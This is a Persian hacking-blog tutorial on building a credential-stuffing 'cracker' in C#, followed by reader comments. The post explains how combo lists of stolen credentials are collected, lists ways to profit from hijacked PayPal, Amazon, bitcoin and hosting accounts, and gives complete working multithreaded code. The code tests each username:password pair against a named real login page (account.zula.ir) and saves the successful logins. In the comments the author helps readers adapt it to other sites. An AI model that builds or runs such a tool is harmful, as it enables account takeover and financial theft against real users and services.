آموزش ساخت کرکر با سی شارپ :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات

قبلا یکی از دوستان درخواست آموزش ساخت کرکر با سی شارپ رو داده بود اما من چون وقت نداشتم قول دادم که بعدا حتما یه پست در رابطش مینویسم ،  سر این قول تصمیم گرفتم خیلی خلاصه و جمع و جور آموزش ساخت کرکر رو توی یه پست توضیح بدم ، در حالی که این مبحث خیلی پیچیده تر از این حرفاست و حداقل باید تا 7 یا 8 تا پست در رابطش مینوشتیم تا براتون خسته کننده نباشه

اول از همه لازمه که یه خرده توضیحات در این رابطه بدم که مثلا کرک و کرکر و ... چیه که افراد تازه کار اول بسم الله کنار نکشن :)

کرکر در واقع برنامه ای هستش که ما یه لیستی از ایمیل و پسوورد یا نام کاربری و پسوورد رو وارد اون میکنیم (همون کمبو لیستی که اصطلاحش بین کرکرها هست) و بعدا به برنامه دستور میدیم که با اون نام کاربری و پسوورد ها یا ایمیل و پسوورد ها درخواست هایی رو سمت اون وبسایت بفرسته و در صورتی که اون نام کاربری داخل اون سایت ثبت نام کرده بود و با پسووردی که تو کمبو قرار دادیم همخونی داشت و برنامه تونست که باهاش توی سایت مورد نظرمون Login بشه اون نام کاربری و پسوورد یا ایمیل و پسوورد رو بهمون نشون بده

حالا این کمبو لیست چی هستش ؟ یه فایل متنی هستش که کرکر از قبل برای خودش آماده کرده که داخل اون لیستی از نام کاربری و پسوورد قرار داره

حالا کرکر چطور این فایل متنی رو تهیه میکنه ؟ در بیشتر مواقع با استفاده از نرم افزار SqliDumper و در کمتر مواقع با نفوذ به سایت های آسیب پذیر و دزدیدن ایمیل و پسوورد ها یا نام کاربری و پسوورد ها از روی پایگاه داده ی اون سایت

یه نکته ی امنیتی هم اینجا جا کنم ==> حالا که میدونین این کمبوی لعنتی چطور بدست میاد ، توی هر سایتی با یه نام کاربری و پسوورد ثبت نام کنین ، مثلا اگه تو بلاگ با نام کاربری virus ثبت نام کردین ، بهتره توی یه سایت دیگه مثلا بلاگفا با نام کاربری virus32 عضو بشین ، اینجوری فوقش کرکر یکی از نام کاربریاتونو میتونه داشته باشه ، اما یکی از بدی های که ایرانی جماعت داره اینه که با یه نام کاربری توی ده جا ثبت نام میکنه و...نمیدونم قانع شدین یا نه چون خودمم قانع نشدم به این توضیح :(

حالا این SqliDumper چی هست که بیشتر کرکرها بهش دل بستن ؟ یه نرم افزاری هستش که ما لیستی از دورک هارو میدیم بهش و برنامه طبق اون دورک ها ، سایت های آسیب پذیر رو پیدا میکنه و در صورتی که بتونه جدول های آسیب پذیر رو پیدا کنه خیلی راحت پایگاه داده رو در اختیار کرکر یا هکر میزاره و این حاجیامونم تو پایگاه داده یه دور میزنن تا بتونن نام کاربری و پسوورد یا ایمیل و پسوورد شمارو گیر بیارن و اینجوری خیلی خوشگل یه کمبو لیست مشتی برای خودشون جمع میکنن

 حالا که با اصطلاح کمبو و نحوه ی بدست اومدنش آشنا شدین دیگه نیازی نیست همش بگم نام کاربری و پسوورد یا ایمیل و پسوورد D:

حالا این کرکرا چه سودی برای کرکر دارن ؟ این کرکرا اگه کمبوی خوبی بهشون برسه خیلی سود میتونه براشون داشته باشه به عنوان مثال چند مورد رو میگم : 1- به عنوان مثال کمبوشون رو روی سایت های کسب بیت کوین میزنن یا روی اکانت های Paypal یا سایت های دیگه مثل Amazon و سایت های شرطبندی و ... تست میکنن و اگه توی اون حساب کاربریا ، کاربرا پول داشته باشن اونو میدزدن(اصطلاح بهتری براش پیدا نکردم) و ... 2- کمبورو میتونین روی سایت های خرید سرور مجازی (مثلا گوددی و ...) لود کنین و به این شکل اگه میتونین نتیجه ی مثبت رو بگیرین یعنی برنامتون بتونه با اون نام کاربری و پسوورد داخل سایت لاگین بشه و بره به قسمت هیت (همون جواب مثبتارو میگن هیت البته اصطلاح کرکراست دیگه :| ) بعد اگه کاربر پول مول داشت برای خودتون سرور رایگان میخرین 3- میتونن کمبورو بزنن روی سایت هایی مثل وورد پرس و بلاگفا و بلاگ و ... و اینجوری اگه کمبوشون مشتی باشه خیلی راحت میزنن در گوش سایت شما و حتی میتونن سایت شما رو دیفیس کنن :) 4 - میتونن روی سایت های ارائه دهنده ی آموزش کمبورو لود کنن و به این شکل اگه فردی که اون نام کاربری رو داره و قبلا از اون سایت آموزش تهیه کرده باشه ، کرکر خیلی راحت آموزش رو رایگان برای خودش دانلود میکنن و اگه دوست داشتن عمومی میکنن (بیشتر کانالایی که اینروزا آموزش پابلیک میکنن جریانشون همینه)

خب دیگه توضیحاتم رو دادم اگه کسی خواسته بود متوجه بشه تا الان متوجه شده بود !!!

ویژوال استودیو رو استارت کنین و یه پروژه به زبان سی شارپ با اسم Create_Cracker-ViRus32 ایجاد کنین تا بریم سراغ دیزاین و کد نویسی و چیزای دیگه ...

اگه مرحله ی قبل رو ردیف کردین (زدن پروژه ی جدید) برین قسمت ToolBox و مواردیو که میگم اضافه کنین و ویژگی Text اونهارو عین مواردی که من میگم ایجاد کنین و ...

اول 4 تا Button بزارین و ویژگی Text اونهارو به شکل زیر بزارین

Text button1 ==> Start
Text button2 ==> Load Combo
Text button3 ==> Save Hit
Text button4 ==> Exit

خب این از دکمه ها ، حالا 6 تا Label بزارین و ویژگی Text اونهارو به شکل پایین بزارین

Text label1 ==> Loaded Combo :
Text label2 ==> 0
Text label3 ==> Hit :
Text label4 ==> 0
Text label5 ==> Checked :
Text label6 ==> 0

خب اینم از بخش Label فقط دقت کنین هر چی که برچسب میزارین به ترتیب جلوییش صفر باشه که البته دیزاین منو ببینید خودتون متوجه میشین ، حالا یدونه NumericUpDown بزارین که خدارو شکر نیازی نیست برای NumericUpDown چیزی تغییر بدیم ، حالا فقط به یه چیز دیگه نیاز داریم که اونم List View هستش که بعد از اضافه کردنش از قسمت ToolBox برین به قسمت ویژگی های اون (Properties) ، اونجا دنبال چیزی به نام Columns بگردین و بعد از پیدا کردنش یک دفعه کلیک کنین روی مقدار جلوی اون یعنی : ... که جلوی (Collection) قرار داره و بعدش دو تا Cloumns ایجاد کنین که برای اینکار میتونیم از دکمه ی Add استفاده کنیم ، خب بعد از ایجاد اون دو تا مقدارشونو بصورت پایین بزارین

Text Columns 1 ==> Username
Text Columns 2 ==> Password

البته میتونه ایمیل و پسوورد باشه اما ما داریم آموزش میدیم و نمیریم مستقیما یه سایت خاصی رو بزنیم ، پس فرقی نمیکنه و شما بعد از یادگیری میتونین خودتون تغییرش بدین به نام کاربری و پسوورد و تمرین کنین و ...

فقط بعد از ایجاد و تغییر و چیزای دیگه ، ویژگیه View اونو روی Details قرار بدین

خب تا اینجا گفتم چیارو به فرم اضافه کنین و تنظیماتشونو بهتون گفتم ، حالا وقتش میرسه که یه خرده فرممون رو مرتب کنیم (همون دیزاینشو خوشگل کنیم D: )

من فرمم رو به شکل پایین میخوام درست کنم که پیشنهاد میکنم شما هم مثل من بزارین تا دیزاین کرکرها دستتون بیاد یا اینکه اگه عشقتون کشید میتونین هر دیزاینی که خواستین بزارین ، البته گفتنی هستش که بیشتر کرکرها بصورت Material Design درست میشن که قبلا نحوه ی اوکی کردنش رو گفته بودم اما ما بیشتر از دیزاین میخوایم روی کد نویسی تمرکز کنیم ولی اگه خواستین میتونین نحوه ی نصب متریال دیزاین رو هم از اینجا ببینید

اینم از دیزاین من

" برای واضح تر شدن تصویر روی اون کلیک کنین "

برین به قسمت Using و موارد پایین رو اضافه کنین

using System.IO;
using System.Net;
using System.Threading;
using System.Text;

حالا توی محیط کدنویسی Namespace رو پیدا کنین و اونجا اگه چند خط پایین ترشو نگا کنین با مورد پایین مواجه میشین :

public partial class Form1 : Form

که زیر اون یه آکولاد باز شده و چیزای دیگه توش قرار داره که شما همون اول کد پایین رو اضافه کنین

public List Combolist = new List();

کد پایین هم کد کلی اون یه تیکه هستش که اگه متوجه نشدین میتونین یه نگا بهش بندازین و تغییرتونو توی کدها ایجاد کنین ، البته اینم بگم که رنگ اون یه تیکه کد رو قرمز میکنم که بهتر بتونین پیداش کنین

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Threading;
using System.Text;

namespace Create_Cracker_ViRus32
{
    public partial class Form1 : Form
    {
        public List<string> Combolist = new List<string>();
        public Form1()
        {
            InitializeComponent();
        }

اول از همه کد نویسی قسمت Load Combo و Save Hit رو انجام میدیم

اول از همه کد نویسیه دکمه ی Load Combo رو انجام میدیم ، برای اینکار دوبار کلیک کنین روی دکمه ای که اسمش Load Combo هستش بعدا کدهای پایین رو داخل رویدادش قرار بدین

// یه کادر محاوره ای باز میکنه برای گرفتن فایل
            OpenFileDialog dialog = new OpenFileDialog();
            // فیلتر تعریف میکنیم که کاربر فقط بتونه فایل های متنی وارد کنه
            dialog.Filter = "Text Files|*.txt";
            // عنوان کادر محاوره ای رو تغییر میده به متن مورد نظر ما
            dialog.Title = "Open Combolist";
            // خیلی ساده اگه بخوام بگم ، گفتیم اگه فایل متنی وارد شد
            if (dialog.ShowDialog() == DialogResult.OK)
            {
                // یه آرایه تعریف کن و بعد از اینکه کل خط هارو خوندی اضافه کن به متغیر دایلاگ که همونطور که چند خط بالا تر تعریف کردیم ، مربوط به وارد کردن فایل متنی هستش
                string[] a = File.ReadAllLines(dialog.FileName);
                // به برنامه دستور دادیم که آرایه ای که تو خط بالا تعریف کردیم رو مقدارش رو بریزه داخل کمبو لیست ، کمبو لیست هم بعدا تو کدها میگم از کجا اومده
                this.Combolist.AddRange(a);
                // باعث میشه برچسبمون نشون بده که چند تا یوزر و پسوورد لود شده
                this.label2.Text = this.Combolist.Count.ToString();
            }

خب حالا مجددا برین به دیزاین برنامتون و دوبار کلیک کنین روی دکمه ی Save Hit تا قسمت کدنویسیه اون باز بشه و کدهای پایین رو بزارین تو قسمت رویداد اون

            // یه کادر محاوره ای باز میکنه که برای ذخیره کردن هستش
using (SaveFileDialog dialog = new SaveFileDialog())
{
// برای اسم فایلی که کاربر میخواد هیت هارو با اون اسم ذخیره کنه پسوند در نظر میگیریم ، مثلا ما اینجا فایل متنی در نظر گرفتیم به علاوه اینکه کاربر میتونه هنگام ذخیره گزینه ی دوم رو از لیست پسوند ها انتخاب کنه و برنامه رو با پسوند مورد نظر خودش سیو کنه
dialog.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
// گفتیم اگه کاربر همه چیز رو اوکی کرد (مثل ساخت فایل یا هر چیز دیگه و ...) اونموقع برو برای ادامه ی دستورات
if (dialog.ShowDialog() == DialogResult.OK)
{
// از استریم رایتر برای نوشتن توی فایل استفاده میشه که ما هم دقیقا اینکار رو انجام دادیم و توی چند خط کد پایین مقدار هیت هارو از داخل لیست وی یو برداشتیم و زدیم توی فایلمون
using (StreamWriter sw = new StreamWriter(dialog.FileName))
{
// از فور ایچ برای حرکت کردن روی آرایه ها استفاده میشه
foreach (ListViewItem item in this.listView1.Items)
{
// کار نوشتن رو انجام دادیم
sw.WriteLine("{0}:{1}", item.SubItems[0].Text, item.SubItems[1].Text);
}
}
}
}

حالا دو بار روی دکمه ی Exit کلیک کنین و کد پایین رو توی اون قرار بدین

Application.Exit();

خب این تا اینجا یعنی کد نویسیه دکمه ی Save Hit و Load Combo و دکمه ی Exit رو انجام دادیم

حالا میریم سراغ درست کردن کانفیگ ، یعنی برنامه رو جوری پیکربندی میکنیم که همونطور که گفتم وقتی کمبویی اوکی بود (نام کاربری و پسوورد) روی سایت لاگین داد برای ما به عنوان هیت ذخیره بشه و توی List View نشون داده بشه

و اما سایت مورد نظر ما ، سایتی که من میخوام کرکر اون رو طی این آموزش درست کنم سایت :

www.zula.ir

هستش که شما میتونین بعد از یادگیری برای خودتون هر سایتیو که عشقتون کشید بزنین البته باید تمرین و تلاش و پشتکار به خرج بدین (کرکرای دیگه خوب میدونن چی میگم)

قبل از هر چیزی باید صفحه لاگین سایتی که کرکرشو میخوایم درست کنیم رو باید گیر بیاریم برای اینکار بعضی از سایتا خودشون نوشتن لاگین (Login) و ... که خیلی راحت میتونین از اونجاها گیرش بیارین ؛ به عنوان مثال سایتی که ما میخوایم کرکرشو درست کنیم صفحه لاگینش ، صفحه ی پایینه

account.zula.ir

خب دیگه ، مستقیم میریم سراغ درست کردن کانفیگ و بعدشم کد نویسیه دکمه ی استارت

برای درست کردن کانفیگ اول باید ببینیم اطلاعات ما چطور ارسال میشه و ... که برای اینکار روی همون کادر نام کاربری راست کلیک میکنیم و Inspect رو میزنیم (حین مراحل با گوگل کروم پیش برین چون منم با این مرورگر پیش میرم بخاطر همین بهتر متوجه میشین) حالا ، تو صفحه ی باز شده اول از همه گزینه ی Network رو انتخاب میکنیم بعدا از سمت چپ روی گزینه های اولی تر کلیک میکنیم تا دل و رودش بریزه بیرون و از قسمت بالا روی Header کلیک میکنیم تا اطلاعاتی که برای کانفیگ نویسی نیاز داریم بیرون بیاد

تصویر پایین تصویری از سایتیه که الان قراره کانفیگشو درست کنیم

" برای نمایش واضح تصویر یکبار روی اون کلیک کنین "

توی کانفیگ نویسی مهم ترین عامل پیدا کردن قسمتی هستش که قراره نام کاربری و پسوورد ما جلوی اون قرار بگیره ، مثلا سایتی که من دارم کانفیگشو میزنم نام کاربری و پسوورد من جلوی اینا قرار میگیره

username
&password

که اگر بخوایم نام کاربری و پسوورد جلوی اون قرار بگیره به این شکل میشه

"username=" + user + "&password=" + pass

شاید سوال بشه که این user و pass از کجا اومد ؟ در واقع وقتی که داریم کد نویسی میکنیم مجبوریم که کمبورو شکاف بدیم به دو قسمت نام کاربری و پسوورد و جلوی مقادیر اومده قرار بدیم بخاطر همین مجبوریم که یه آرایه تعریف کنیم و ... که من در ادامه کانفیگمو میزارم که اگه بهش دقت کنین با اسم s و مقادیر text و text1 بجای نام کاربری و پسوورد قرار دادم

اگه بخوام یه مثال دیگه برای این مورد بزنم ، یه سایت دیگه هستش که آدرسش اینه :

rapidgator.net

که اگه بخوایم برای اینم اوکی کنیم میشه آدرس پایین که :

LoginForm%5Bemail%5D=ENTERED_EMAIL&LoginForm%5Bpassword%5D=ENTERED_PASS&LoginForm%5BtwoStepAuthCode%5D=&LoginForm%5BrememberMe%5D=0&LoginForm%5BrememberMe%5D=1&g-recaptcha-response=

اگه بخوایم اونو تبدیلش کنیم میشه به شکل زیر :

LoginForm%5Bemail%5D=" + email +"&LoginForm%5Bpassword%5D=" + pass

خب دیگه تا اینجا یه مثال برای ایمیل و پسوورد و یوزر و پسوورد زدم که براتون جا بیفته ، اگه جا نیفتاد یه خرده پشتکار بخرج بدین چون برای سایت های مختلف ، مختلفه که منم اینجا دقیقا برای دو تا سایت مختلف مثال زدم که جریان رو متوجه بشین اما بقیش به پای خودتون !!! برای اینکه ترستون بریزه باید بگم این یه تیکه فقط مهم ترین و سخت ترین تیکست توی کانفیگ زدن و بقیش مثل آب خوردن میمونه D:

در کل بیخیال این یه تیکه رو میسپارم به خودتون ولی بازم میگم که من به شکل پایین در آوردم که اگه تو کد کانفیگم که دیدین هنگ نکنین که این دیگه چیه

"username=" + text + "&password=" + text2

از توضیحات خودم خسته شدم چه برسه به شما اما اجباره گفتن اینجور چیزا دیگه چون مهم ترین بخش همین کانفیگ زدن برای یه سایته

میریم سراغ کانفیگ زدن

// یه متغیر از نوع عدد صحیح و با مقدار صفر درست کردیم
        int i = 0;
        public void config()
        {
            // مهم ترین قسمتی که یه کرکر باید بهش دقت کنه ، پس با دقت به کدها نگاه کنین و با دقت کدهارو تغییر بدین تا روش کار دستتون بیاد
            try
            {
                // آرایه رو طوری شکاف دادیم که برنامه تشخیص بده پشت ":" نام کاربری قرار میگیره و جلوی اون پسوورد البته پایین تر بهش میگیم که چی به چیه
                string[] array = this.Combolist[this.i].Split(new char[]
                {
                    ':'
                });
                // یه متغیر رشته ای تعریف کردیم که برای نام کاربری هستش و توی خونه صفرم آرایه قرار میگیره ، شاید بگین چرا خونه ی صفرم ؟ چون آرایه ها از صفر شروع میشه
                string text = array[0];
                // خونه ی شماره یک آرایه رو اختصاص دادیم به پسوورد
                string text2 = array[1];
                // این یه تیکه رو تو پست آموزشی کلی توضیح دادم ، که خودتون مرورش کنین (فقط برای اینکه زود پیداش کنین باید بگم اونجاییه که گفتم سخت ترین جا توی کانفیگ زدنه ) و برای هر سایتی فرق میکنه
                string s = string.Concat(new string[]
                {
                    "username=" + text + "&password=" + text2
                });
                //چند خط بالاتر به متغیر از نوع عدد صحیح تعریف کرده بودیم که اینجا به اون اضافه میکنیم
                this.i++;
                // برچست شماره شش رو که برای یوزر و پسووردای چک شده بود تغییر میده
                this.label6.Text = this.i.ToString();
                CookieContainer cookieContainer = new CookieContainer();
                this.i++;
                // اینجا رو دقت کنین که آخرش باید تو پرانتز اسم متغیری که بالاتر تعریف کرده بودیم و گفتم تو پست تعریف میکنم جریانش رو وارد میکنیم
                byte[] bytes = new UTF8Encoding().GetBytes(s);                

تا اینجای قضیه که گفتم چی به چیه و دقیق توضیح دادم اما از اینجا به بعد باید یه خرده تغییرات ایجاد کنین که برای اینکار همونطور که قبلا گفتم راست کلیک کنین روی کادر نام کاربری و گزینه ی آخر یعنی Inspect رو انتخاب کنین ، حالا از سر برگ Network گزینه ی Header رو انتخاب کنین و مواردی که آورده شده رو تغییر بدین

// مثلا اینجا باید تغییر بدین به صفحه لاگین سایت تارگتتون
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://account.zula.ir/");
                // متد ارسالمون رو از نوع پست میزارم
                httpWebRequest.Method = "POST";
                // از جایی که توضیح دادم باید گیر بیارین و تغییر بدین
                httpWebRequest.Referer = "http://account.zula.ir/";
                // از جایی که توضیح دادم باید گیر بیارین و تغییر بدین
                httpWebRequest.ContentType = "application/x-www-form-urlencoded";
                // از جایی که توضیح دادم باید گیر بیارین و تغییر بدین
                httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36";
                // اینجا هم که بستگی به شرایط داره ، یعنی گاهی وقتا باید درست باشه و گاهی وقتا هم نادرست ، اینجارو هم میتونین از همون قسمت که گفتم متوجه بشین
                httpWebRequest.KeepAlive = true;
                // از اینجا به بعد باز هم نیازی نیست چیزی تغییر بدین
                httpWebRequest.ContentLength = (long)bytes.Length;

                Stream requestStream = httpWebRequest.GetRequestStream();
                requestStream.Write(bytes, 0, bytes.Length);
                requestStream.Close();
                HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                cookieContainer.Add(httpWebResponse.Cookies);
                httpWebRequest.CookieContainer = cookieContainer;
                string text3 = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();

خب اینم تا اینجا

از اینجا به بعد هم باید یه تغییر دیگه ایجاد کنیم که برای اینکه بهتر متوجه بشین این تغییر چیه ، یه اکانت توی سایت بسازین و لاگین بشین ، حالا اگه دقت کنین برای اینکه از اکانت خارج بشیم یه چیزی وجود داره به نام " خروج " که ما هم باید برای سایت های مختلف اونو تغییر بدیم ، مثلا برای یه سایت خارجی امکان داره باشه Logout و ...

شاید سوال بشه که جریانش چیه ؟ در واقع جریانش اینه که ما به برنامه شیرفهم میکنیم که اگه به این جمله برخوردی یعنی یه اکانت توی قسمت هیت ذخیره کن که در واقع ما هم تو کدهای پایین اینکار رو میکنیم و به برنامه میگیم که اگه با همچین متنی روبرو شدی برچسب هیت رو تغییر بده و اون مورد رو به لیست وی یو اضافه کن

اینم از کدهامون برای ادامه ی موضوع :

bool flag = text3.Contains("خروج");
                if (flag)
                {
                    string[] items = new string[]
                    {
                        text,
                        text2
                    };
                    // اگه متوجه نشدین جریانش چیه بگین تو کامنت ها بگم
                    ListViewItem value = new ListViewItem(items);
                    this.listView1.Items.Add(value);
                    // برچسب هیت هارو تغییر میده و اکانت های سالم رو از روی آیتم های لیست وی یو نشون میده که جریانشو تو دو خط کد بالا مشخص کردیم
                    this.label4.Text = this.listView1.Items.Count.ToString();
                }
            }
            catch (Exception)
            {
            }

تا اینجا که قدم به قدم گفتم ، الان هم کد کلیه متدی که با اسم کانفیگ ساختیم رو میزارم ، البته اینارو نباید توی Form load یا تو رویداد های دیگه بزارین چون خودمون متد ساختیم و ...

        int i = 0;
   public void config()
        {
            try
            {
                string[] array = this.Combolist[this.i].Split(new char[]
                {
                    ':'
                });
                string text = array[0];
                string text2 = array[1];
                string s = string.Concat(new string[]
                {
                    "username=" + text + "&password=" + text2
                });
                this.i++;
                this.label6.Text = this.i.ToString();
                CookieContainer cookieContainer = new CookieContainer();
                this.i++;
                byte[] bytes = new UTF8Encoding().GetBytes(s);
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://account.zula.ir/");
                httpWebRequest.Method = "POST";
                httpWebRequest.KeepAlive = true;
                httpWebRequest.CookieContainer = cookieContainer;
                httpWebRequest.CookieContainer.Add(new Uri("http://account.zula.ir/"), new Cookie("__cfduid", "d3f14dc2677ca9894888af74379a865511499781410"));
                httpWebRequest.Referer = "http://account.zula.ir/";
                httpWebRequest.ContentType = "application/x-www-form-urlencoded";

                httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36";
                httpWebRequest.ContentLength = (long)bytes.Length;
                Stream requestStream = httpWebRequest.GetRequestStream();
                requestStream.Write(bytes, 0, bytes.Length);
                requestStream.Close();
                HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                cookieContainer.Add(httpWebResponse.Cookies);
                string text3 = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
                bool flag = text3.Contains("خروج");
                if (flag)
                {
                    string[] items = new string[]
                    {
                        text,
                        text2
                    };
                    ListViewItem value = new ListViewItem(items);
                    this.listView1.Items.Add(value);
                    this.label4.Text = this.listView1.Items.Count.ToString();
                }
            }
            catch (Exception)
            {
            }

خب این از کانفیگمون ، حالا دوبار روی دکمه ی Start کلیک کنین تا قسمت کدنویسیش باز بشه و کدهای پایین رو قرار بدین توی اون

            int num = (int)numericUpDown1.Value;

            ThreadPool.SetMinThreads(num, num);
            ThreadPool.SetMaxThreads(num, num);
            List.Enumerator enumerator = this.Combolist.GetEnumerator();
            while (enumerator.MoveNext())
            {
                string Current = enumerator.Current;
                ThreadPool.QueueUserWorkItem(delegate(object param0)
                {
                    this.config();
                }, Current);
            }

خب اینم از این (دکمه ی استارت)

کد کلی برنامه ی ما به شکل زیر میشه که اگه اسم پروژتونو همونطور که قبلا گفته بودم Create_Cracker-ViRus32 بزارین و مواردی که گفته بودم رو اضافه کنین کد کلی ما این میشه :

" کامنت هارو پاک میکنم تا اعصابتون خرد نشه "

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Threading;
using System.Text;

namespace Create_Cracker_ViRus32
{
    public partial class Form1 : Form
    {
        public List<string> Combolist = new List<string>();
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        private void button2_Click(object sender, EventArgs e)
        {
            
            OpenFileDialog dialog = new OpenFileDialog();
            
            dialog.Filter = "Text Files|*.txt";
            
            dialog.Title = "Open Combolist";
            
            if (dialog.ShowDialog() == DialogResult.OK)
            {
               
                string[] a = File.ReadAllLines(dialog.FileName);
               
                this.Combolist.AddRange(a);
                
                this.label2.Text = this.Combolist.Count.ToString();
            }
        }

        private void button3_Click(object sender, EventArgs e)
        {

            
            using (SaveFileDialog dialog = new SaveFileDialog())
            {
                
                dialog.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
                
                if (dialog.ShowDialog() == DialogResult.OK)
                {
                    
                    using (StreamWriter sw = new StreamWriter(dialog.FileName))
                    {
                        
                        foreach (ListViewItem item in this.listView1.Items)
                        {
                            
                            sw.WriteLine("{0}:{1}", item.SubItems[0].Text, item.SubItems[1].Text);
                        }
                    }
                }
            }
        }

        private void button4_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            int num = (int)numericUpDown1.Value;

            ThreadPool.SetMinThreads(num, num);
            ThreadPool.SetMaxThreads(num, num);
            List<string>.Enumerator enumerator = this.Combolist.GetEnumerator();
            while (enumerator.MoveNext())
            {
                string Current = enumerator.Current;
                ThreadPool.QueueUserWorkItem(delegate(object param0)
                {
         
                    this.config();
                }, Current);
            }
        }
        int i = 0;
        public void config()
        {
            try
            {
                string[] array = this.Combolist[this.i].Split(new char[]
                {
                    ':'
                });
                string text = array[0];
                string text2 = array[1];
                string s = string.Concat(new string[]
                {
                    "username=" + text + "&password=" + text2
                });
                this.i++;
                this.label6.Text = this.i.ToString();
                CookieContainer cookieContainer = new CookieContainer();
                this.i++;
                byte[] bytes = new UTF8Encoding().GetBytes(s);
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://account.zula.ir/");
                httpWebRequest.Method = "POST";
                httpWebRequest.KeepAlive = true;
                httpWebRequest.CookieContainer = cookieContainer;
                httpWebRequest.CookieContainer.Add(new Uri("http://account.zula.ir/"), new Cookie("__cfduid", "d3f14dc2677ca9894888af74379a865511499781410"));
                httpWebRequest.Referer = "http://account.zula.ir/";
                httpWebRequest.ContentType = "application/x-www-form-urlencoded";

                httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36";
                httpWebRequest.ContentLength = (long)bytes.Length;
                Stream requestStream = httpWebRequest.GetRequestStream();
                requestStream.Write(bytes, 0, bytes.Length);
                requestStream.Close();
                HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                cookieContainer.Add(httpWebResponse.Cookies);
                string text3 = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
                bool flag = text3.Contains("خروج");
                if (flag)
                {
                    string[] items = new string[]
                    {
                        text,
                        text2
                    };
                    ListViewItem value = new ListViewItem(items);
                    this.listView1.Items.Add(value);
                    this.label4.Text = this.listView1.Items.Count.ToString();
                }
            }
            catch (Exception)
            {
            }
        }
    }
}

یه نکته بگم هیچوقت پروژتونو تو حالت دیباگ تست نکنین (مخصوصا برای ساخت کرکر)

خب دیگه اینم از کد کلی برنامه ، حالا بریم سراغ تست کردن برنامه که خدایی نکرده خطایی نداشته باشه ، برای اینکار هم یه اکانت سالم بسازین تو سایت و مخلوطش کنین با چند تا یوزر و پسوورد مزخرف که به شکل پایین بشه و بعدش اکانت سالمی که ایجاد کردین رو آخر اون قرار بدین

virus32:test_pass1
terminator32:test_pass2
mr_tired:test_pass3
AccountSalem:Passwordesh

بریم واسه تست :)

خب همونطور که مشاهده میکنین اکانت سالم نمایش داده میشه و ... اگه خواستین اکانتی که به عنوان هیت توی لیست وی یو نشون داده میشه رو هم بردارین و به عنوان تست ازش استفاده کنین (اگه نشد هم بدونین رمزشو یکی دیگه عوض کرده (بستگی به شعور افراد داره))

فقط دقت کنین این یه آموزش ساخت کرکر ساده بود و اصلا هم قابلیت های زیادی نداشت ، فقط نمونه دادم که دوست عزیزی که درخواست داده بود براش نمونه بشه و بتونه در راه درستی ازش استفاده کنه D:

راستی اگه یه موقع دیدین تو پست سوتی دادم (غلط املایی و ...) بگین اصلاح کنم چون پست یه خرده زیاده حوصله ندارم بشینم مرورش کنم و نوشته های خودمو ببینم (حسش نیست دیگه چه کنیم :/ )

باشد که رستگار شویم :))

موفق باشید

نظر (۶)

ببخشید من سر در نمیارم الان که برنامه رو Start کردیم رو کدوم دکمه بزنیم من که اینطوری فهمیدم رو Loat Combo کلیک کنیم بعد start ?!
یا چطوری ؟!
MR C0D3R :
الان کدهارو نوشتی و همه چیز تمومه ؟
روی دکمه ی Load Combo بزن و یه فایل متنی بهش بده بعدا دکمه ی Start رو بزن
این الان مولتی کرکر نیستش عزیز ، باید کداشو تغییر بدی
مگر اینکه بخوای روی سایت Zula که کرکرشو طی آموزش درست کردیم تست کنی
سلام
من یه برنامه نوشتم تبدیل متن یا استرینگ به AES-AesCryptoServiceProvider
حال کلیدو و للگوریتم خارجی که برای این برنامه قرار دادم اونارو هم رمزنگاری کردم یعنی الان شده یک طرفه تو سیستمم حین لاگین فقط مقایسه انجام میشه تو چند تا سایت انلاین هم تست کردم نتوست کدهمو بشناسه حتی کالی هم نتونست
اما سوال اینجاست از چه روشهایی برای کرک چنین هش هایی استفاده میشه کلید من در دسترس طرف نیست چطور میتونه؟
MR C0D3R :
سلام
نمیدونم والا ، از اون دیگه سر رشته ندارم :)
به ویروس ایمیل بزن وقت کرد بهت کمک میکنه
تو گوگل چیزی سرچ کردی ؟
سلام چطور کوکی رو بدست بیارم؟
MR C0D3R :
همونجاها مینویسه وقتی که راست کلیک کردی و Inspect رو زدی و ... همونجاها بگردی نوشته کوکی ...
اونو باید کپی کنی و بعدا اصلاحش کنی
کدهایی رو که بصورت کلی نوشتم یه نمه فرق داره با اون یکیا که داخلش کوکی هم قرار دادم که میتونی اونو یه نگاه بندازی
اینجوری بهتر میتونی پیدا کنی
کوکی هارو بدست میارم ولی متنش زیاد طولانیه و نمیتونم تشخیص بدم کودومشه آیدی تلگرام داری؟
MR C0D3R :
کوکیتو بزار ببینم
اون سایتی هم که داری رو کوکیش کار میکنی آدرسشو بده
